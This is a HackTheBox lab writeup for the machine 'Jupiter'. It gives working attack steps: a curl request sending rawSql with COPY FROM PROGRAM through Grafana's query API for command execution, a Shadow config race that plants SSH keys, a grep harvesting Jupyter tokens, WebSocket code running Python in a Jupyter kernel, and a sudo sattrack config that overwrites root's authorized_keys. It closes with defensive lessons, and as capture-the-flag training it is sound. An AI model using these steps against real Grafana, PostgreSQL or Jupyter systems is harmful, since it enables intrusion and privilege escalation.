HTB: Jupiter Writeup

Jupiter - HackTheBox Writeup

Machine Information

AttributeDetails
NameJupiter
OSLinux
DifficultyMedium
PointsN/A
Release DateN/A
IP Addressjupiter.htb / kiosk.jupiter.htb
Authord3vn0mi

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐☆
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐☆☆

Summary

Jupiter chains an over-privileged Grafana/PostgreSQL data source into a three-hop lateral movement path before landing root through a sudo-permitted satellite-tracking utility. The entry point isn’t a CVE — it’s a PostgreSQL role (grafana_viewer) that reports is_superuser=on, which turns Grafana’s rawSql query proxy into unauthenticated RCE. From there, a world-writable config file for the Shadow network simulator provides a race-condition path to a second user, and a group-readable Jupyter Notebook log leaks a session token for a third. Root falls to a sudo binary that trusts a JSON config file to decide both a destination directory and a source URL scheme.

TL;DR: Grafana kiosk.jupiter.htb unauthenticated rawSql injection (grafana_viewer role with is_superuser=on) → COPY ... FROM PROGRAM RCE → shell as postgres → race /dev/shm/network-simulation.yml under the Shadow simulator → SSH as juno (user.txt) → leaked Jupyter Notebook token in group-readable logs → kernel RCE over WebSocket → SSH as jovian → sudo NOPASSWD /usr/local/bin/sattrack config-driven arbitrary file write → authorized_keys in /root/.ssh → root (root.txt).


Reconnaissance

Port Scanning

Terminal window
nmap -sC -sV -T4 -p- jupiter.htb

Results:

  • 22/tcp — OpenSSH
  • 80/tcp — nginx, redirecting to the virtual host jupiter.htb

Service Enumeration

The top-level jupiter.htb vhost is a generic landing page. Fuzzing for additional virtual hosts against the nginx server surfaces a second one:

Terminal window
# vhost fuzz against the base domain, filtering the default-vhost response size/redirect
ffuf -u http://jupiter.htb/ -H 'Host: FUZZ.jupiter.htb' \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt \
-mc all -fc 301

This resolves kiosk.jupiter.htb, which serves a Grafana 9.5.2 instance running in kiosk/dashboard mode. Browser devtools on the dashboard show recurring XHR calls to /api/ds/query — Grafana’s data-source query proxy — carrying a postgres-type payload with a fixed data source uid: YItSLg-Vz.

Vulnerability Assessment

  1. /api/ds/query is reachable without authentication in kiosk mode and forwards a client-supplied rawSql string straight to the configured PostgreSQL data source — no query is validated or restricted server-side.
  2. Querying current_user / is_superuser through that proxy returns grafana_viewer / is_superuser=on. The application role is read-only, but the database role behind it is a full superuser — this is a PostgreSQL privilege misconfiguration, not a patched Grafana CVE, and it’s exactly what makes COPY FROM PROGRAM usable for RCE.

Initial Foothold

Exploitation Path — Grafana → PostgreSQL RCE

With confirmed superuser rights reachable through the query proxy, PostgreSQL’s COPY ... FROM PROGRAM extension turns arbitrary SQL into arbitrary shell execution — this only works because the connecting role is a superuser, which is precisely the misconfiguration flagged above:

Terminal window
# rawSql is sent as JSON to the datasource proxy; the uid pins it to the vulnerable postgres source
curl -s 'http://kiosk.jupiter.htb/api/ds/query' \
-H 'Content-Type: application/json' \
--data '{
"queries": [{
"refId": "A",
"datasource": {"type": "postgres", "uid": "YItSLg-Vz"},
"rawSql": "DROP TABLE IF EXISTS cx; CREATE TABLE cx(o text); COPY cx FROM PROGRAM '\''id'\''; SELECT * FROM cx;",
"format": "table"
}]
}'

Swapping the PROGRAM argument for a reverse-shell one-liner turns this into an interactive shell as postgres@jupiter.

Lateral Movement — postgres → juno (Shadow race)

Enumeration from the postgres shell turns up /dev/shm/network-simulation.yml, a config file for Shadow (a network-simulation framework for testing networked applications), which is world-writable and re-executed by juno on a roughly 2-minute cycle. The catch: the script resets/regenerates the file on each run, so a single overwrite loses the race — the payload has to be re-written in a tight loop to land inside the narrow window before Shadow reads it.

Shadow’s process model also matters: each processes: entry execve()s a single named binary directly with a fixed argv — there’s no shell in the middle, so a bash -c '...' payload is inert (no interpreter to parse it). The fix is to express the payload as two single-binary host entries instead of one shell command:

# each host process is a direct execve() of ONE binary — no shell, no pipes, no &&
hosts:
client:
processes:
- path: /usr/bin/mkdir
args: "-p /home/juno/.ssh"
- path: /usr/bin/cp
args: "/dev/shm/authorized_keys /home/juno/.ssh/authorized_keys"

Winning the race against the reset loop drops an attacker-controlled key into /home/juno/.ssh/authorized_keys, giving direct SSH access as juno.

Lateral Movement — juno → jovian (leaked Jupyter token)

juno belongs to the science group, which owns /opt/solar-flares/logs/. Jupyter Notebook writes its access token into the URL of every logged request, and these log files are group-readable:

Terminal window
grep -oE 'token=[a-f0-9]+' /opt/solar-flares/logs/*.log | sort -u

Because tokens rotate across server restarts, the log contains multiple stale candidates alongside the current one — each has to be tested live against the running instance (forwarded locally) rather than assumed valid:

Terminal window
ssh -L 8888:127.0.0.1:8888 juno@jupiter.htb # tunnel to the internal Jupyter service
curl -s 'http://127.0.0.1:8888/api/kernels?token=<candidate>'

Once a working token is confirmed, driving a kernel directly over Jupyter’s WebSocket API (rather than the notebook UI) executes Python as jovian:

# open a kernel, send an execute_request over the websocket, install an SSH key as jovian
import websocket, json, uuid
ws = websocket.create_connection(
f"ws://127.0.0.1:8888/api/kernels/{kernel_id}/channels?token={token}")
msg_id = str(uuid.uuid4())
ws.send(json.dumps({
"header": {"msg_id": msg_id, "msg_type": "execute_request", "username": "", "session": ""},
"parent_header": {}, "metadata": {}, "channel": "shell",
"content": {"code": (
"import os; os.makedirs('/home/jovian/.ssh', exist_ok=True); "
"open('/home/jovian/.ssh/authorized_keys','a').write('<attacker_pubkey>\\n')"
), "silent": False}
}))

This yields SSH access as jovian.

Terminal window
cat /home/juno/user.txt
# <redacted>

Privilege Escalation

sudo -l as jovian shows a single NOPASSWD entry:

(root) NOPASSWD: /usr/local/bin/sattrack

sattrack is a satellite-tracking utility that reads /tmp/config.json, then for every entry in tlesources fetches the resource and writes it into tleroot, naming the output file after the basename of the source. Both tleroot (destination directory) and each tlesource (source location, including its URL scheme) are attacker-controlled via the config file the binary trusts:

{
"tleroot": "/root/.ssh/",
"tlefile": "weather.txt",
"mapfile": "/usr/local/share/sattrack/map.json",
"texturefile": "/usr/local/share/sattrack/earth.png",
"tlesources": [
"file:///home/jovian/.ssh/authorized_keys"
]
}

By pointing tleroot at /root/.ssh/ and switching the source scheme from http:// to file://, sattrack — running as root via sudo — copies jovian’s authorized_keys file into /root/.ssh/authorized_keys under its own basename, an arbitrary-file-write primitive that lands directly in root’s SSH trust store:

Terminal window
sudo /usr/local/bin/sattrack
ssh -i ~/.ssh/id_rsa root@jupiter.htb
Terminal window
cat /root/root.txt
# <redacted>

Attack Chain Summary

Grafana kiosk.jupiter.htb (unauthenticated)
→ unauthenticated /api/ds/query rawSql injection (grafana_viewer, is_superuser=on)
→ COPY ... FROM PROGRAM → RCE as postgres
→ race /dev/shm/network-simulation.yml (Shadow sim, single-binary argv payload)
→ SSH as juno (user.txt)
→ leaked Jupyter Notebook token in group-science log files
→ kernel RCE over WebSocket
→ SSH as jovian
→ sudo NOPASSWD /usr/local/bin/sattrack, config.json tleroot/tlesource (file://) arbitrary write
→ authorized_keys planted in /root/.ssh
→ root (root.txt)

Tools Used

ToolPurpose
nmapPort scanning
HTTP vhost fuzzer (e.g. ffuf)Discovering the kiosk.jupiter.htb virtual host
curl / Grafana /api/ds/queryManual rawSql injection against the PostgreSQL datasource
PostgreSQL COPY ... FROM PROGRAMRCE primitive from a superuser DB role
Shadow network simulator (abused config)Race-condition lateral movement to juno
ssh-keygen / SSHKey-based access at each hop
Jupyter kernel WebSocket API (websocket-client)Remote code execution as jovian
sudo sattrack + config.jsonConfig-driven arbitrary file write to root

Key Learnings

Techniques Practiced

  • Identifying unauthenticated backend API access hidden behind an app’s “view-only” front end
  • PostgreSQL COPY FROM PROGRAM RCE via an over-privileged DB role
  • Winning a race condition against a periodically-reset config file
  • Constructing shell-free, single-binary payloads for restrictive process-exec environments (Shadow)
  • Harvesting credentials/tokens from group-readable historical log files
  • Driving RCE through a Jupyter kernel’s WebSocket protocol directly
  • Abusing a sudo-permitted binary’s config file to control both write destination and read source

Lessons Learned

  1. A “kiosk mode” or read-only dashboard UI is not a security boundary if the backend query API it calls doesn’t enforce the same restriction.
  2. Application-level roles (Grafana’s grafana_viewer) and database-level roles are separate trust boundaries — always check the actual DB privileges (is_superuser), not just the app’s RBAC label.
  3. A world-writable automation config is a viable privesc path even when the file gets reset on every run — treat “it gets overwritten” as a race window, not a mitigation.
  4. Sandboxed/simulated execution environments that execve() binaries directly (no shell) require argv-shaped payloads — standard bash -c reverse shells silently fail there.
  5. Log files can leak live credentials well past their apparent freshness — validate every candidate against the running service instead of trusting the most recent line.
  6. Any sudo-permitted binary that reads an attacker-writable config file should be treated as a potential arbitrary file read/write primitive — check every path and URL-scheme field it consumes.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • HackTheBox Official Writeup: Jupiter (Document No. D23.100.241), prepared by ctrlzero, machine authored by mto — HackTheBox Ltd, June 2023. Used only for explanatory context on the PostgreSQL RCE technique and the sudo-binary config abuse; all IPs, commands, and specifics above are from this solve’s own run.